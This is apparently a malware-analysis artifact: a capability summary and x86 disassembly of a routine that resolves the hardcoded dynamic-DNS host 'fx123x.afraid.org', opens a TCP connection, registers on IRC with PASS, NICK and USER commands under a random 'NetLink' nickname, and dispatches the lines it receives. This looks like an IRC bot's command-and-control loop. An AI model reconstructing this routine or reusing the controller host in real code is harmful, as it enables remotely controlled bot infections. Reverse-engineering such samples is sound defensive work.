Function at 0x4015d6
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Receive data
Receive data on socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x4010
call fcn.00407054
push ebx
push esi
push edi
cmp dword [0x40c3bc], 2
jb 0x4015f8
and dword [0x40c3bc], 0
jmp 0x4015fe
inc dword [0x40c3bc]
push 1
push 0x40c791
call fcn.00401b75
and dword [0x40b4a8], 0
push str.sysinfo
push 0x40c78e
push 1
call fcn.00401a7c
push str.version
push 0x40c784
push 1
call fcn.00401a7c
push 0x10
lea eax, [ebp - 0x4010]
push eax
call sub.KERNEL32.DLL_RtlZeroMemory
xor esi, esi
mov word [ebp - 0x4010], 2
imul eax, dword [0x40c3bc], 0x165
lea eax, [eax + 0x40c1a5]
push eax
call sub.CRTDLL.DLL_atoi
add esp, 0x24
mov edi, eax
movzx edi, di
push edi
call sub.WS2_32.DLL_htons
mov edi, eax
mov word [ebp - 0x400e], di
imul eax, dword [0x40c3bc], 0x165
lea eax, [eax + str.fx123x.afraid.org]
push eax
call sub.WS2_32.DLL_inet_addr
mov dword [ebp - 0x400c], eax
cmp eax, 0xffffffff
jne 0x4016ca
imul eax, dword [0x40c3bc], 0x165
lea eax, [eax + str.fx123x.afraid.org]
push eax
call sub.WS2_32.DLL_gethostbyname
mov esi, eax
or eax, eax
je 0x401881
mov eax, dword [esi + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x400c], eax
push 6
push 1
push 2
call sub.WS2_32.DLL_socket
mov dword [0x40b49c], eax
cmp eax, 0xffffffff
je 0x401881
push 0x10
lea eax, [ebp - 0x4010]
push eax
push dword [0x40b49c]
call sub.WS2_32.DLL_connect
cmp eax, 0xffffffff
jne 0x40170c
push dword [0x40b49c]
call sub.WS2_32.DLL_closesocket
jmp 0x401881
call sub.KERNEL32.DLL_GetTickCount
mov ecx, 0x182b7
xor edx, edx
div ecx
mov edi, edx
add edi, 0x3e8
push edi
push str.NetLink
push str._s_05d
push 0x40b47c
call sub.USER32.DLL_wsprintfA
add esp, 0x10
imul eax, dword [0x40c3bc], 0x165
cmp byte [eax + 0x40c1aa], 0
je 0x401773
imul eax, dword [0x40c3bc], 0x165
lea eax, [eax + 0x40c1aa]
push eax
push str.PASS__s_r_n
push dword [0x40b49c]
call fcn.004018fa
add esp, 0xc
push 0x40b47c
push str.NICK__s_r_n
push dword [0x40b49c]
call fcn.004018fa
push 0x40b47c
push 0x40b47c
push 0x40b47c
push 0x40b47c
push str.USER__s__s__s_:_s_r_n
push dword [0x40b49c]
call fcn.004018fa
add esp, 0x24
push 0x2000
lea eax, [ebp - 0x2000]
push eax
call sub.KERNEL32.DLL_RtlZeroMemory
push 0x2000
lea eax, [ebp - 0x4000]
push eax
call sub.KERNEL32.DLL_RtlZeroMemory
push 0
push 0x2000
lea eax, [ebp - 0x2000]
push eax
push dword [0x40b49c]
call sub.WS2_32.DLL_recv
cmp eax, 1
jl 0x401869
xor esi, esi
mov ebx, esi
jmp 0x401854
mov al, byte [ebp + esi - 0x2000]
cmp al, 0xd
je 0x40180c
cmp al, 0xa
je 0x40180c
cmp ebx, 0x1ffe
jb 0x401842
or ebx, ebx
je 0x401853
mov byte [ebp + ebx - 0x4000], 0
xor ebx, ebx
lea eax, [ebp - 0x4000]
push eax
push dword [0x40b49c]
call fcn.00401e56
add esp, 8
push 0x2000
lea eax, [ebp - 0x4000]
push eax
call sub.KERNEL32.DLL_RtlZeroMemory
jmp 0x401853
mov eax, ebx
inc ebx
mov dl, byte [ebp + esi - 0x2000]
mov byte [ebp + eax - 0x4000], dl
inc esi
lea eax, [ebp - 0x2000]
push eax
call sub.KERNEL32.DLL_lstrlenA
cmp esi, eax
jl 0x4017f5
jmp 0x4017af
push 2
push dword [0x40b49c]
call sub.WS2_32.DLL_shutdown
push dword [0x40b49c]
call sub.WS2_32.DLL_closesocket
pop edi
pop esi
pop ebx
leave
ret